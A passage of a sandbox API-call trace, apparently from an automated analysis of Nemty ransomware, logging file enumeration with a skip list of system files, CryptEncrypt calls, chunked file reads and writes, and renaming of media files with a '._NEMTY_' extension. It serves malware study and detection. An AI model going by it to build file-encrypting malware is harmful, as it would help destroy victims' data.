lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.234] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.234] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.243] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.244] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.253] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.253] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0077.266] CloseHandle (hObject=0xffffffff) returned 0 [0077.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0077.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0077.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0077.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0077.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0077.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0077.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0077.266] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv._nemty_kgobjgd_")) returned 0 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0077.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.266] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0077.266] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2=".") returned 1 [0077.266] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="..") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="...") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="windows") returned -1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="rsa") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="ntldr") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="IO.SYS") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="boot.ini") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="boot.ini") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="ntuser.dat") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="desktop.ini") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="RECYCLER") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="bootmgr") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="programdata") returned 1 [0077.267] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="appdata") returned 1 [0077.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG_PAL.wmv", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0077.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG_PAL.wmv", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_INTRO_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 23 [0077.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0077.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG_PAL.wmv", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0077.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG_PAL.wmv", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_INTRO_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 23 [0077.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0077.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG_PAL.wmv", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0077.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG_PAL.wmv", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_INTRO_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 23 [0077.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG_PAL.wmv", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0077.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0077.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_INTRO_BG_PAL.wmv", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_INTRO_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 23 [0077.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0077.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0077.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0077.268] Sleep (dwMilliseconds=0x5) [0077.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1b5a070, dwHighDateTime=0x1d561e7)) [0077.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1b5a070, dwHighDateTime=0x1d561e7)) [0077.280] GetLastError () returned 0x5 [0077.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.280] GetLastError () returned 0x5 [0077.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0077.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0077.280] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0077.280] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0077.281] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0077.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0077.281] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="55hHXMj9p53cq020HGHVDGqRkCl8JgCOjLvo+v2K6ZC2UOaLI+G8zC8NZCEGBvmB\r\nQzyvCUanMOWc4sB7NJBtJZ5GaRJrCGaM01TouLlyTylQKemgPG37o5rQsAnxDM7u\r\nlibl3XJZp8PF0Dn4tRuyRjH3oSdbHP+YqLkch1sUPanfi2Djm13N2HXhxya9ToaM\r\nlM97i/BUdN3++a7KaIp7IGp/U2WduBPJE6tGBATliNa+AGqvU/fE0+jasifYha82\r\nlGYYtF8EBtJa3SOOGd28V8njX7+yN6ufDiPJgHaWNatn01OFRsD+kBlBcxXSlo2o\r\nUJMKfvNOfpDbQlsHISv60w==\r\n", pcchString=0x653e91c) returned 1 [0077.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0077.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0077.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0077.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0077.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0077.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0077.281] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.282] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0077.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0077.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.291] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.291] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.301] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.329] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.348] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.348] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, 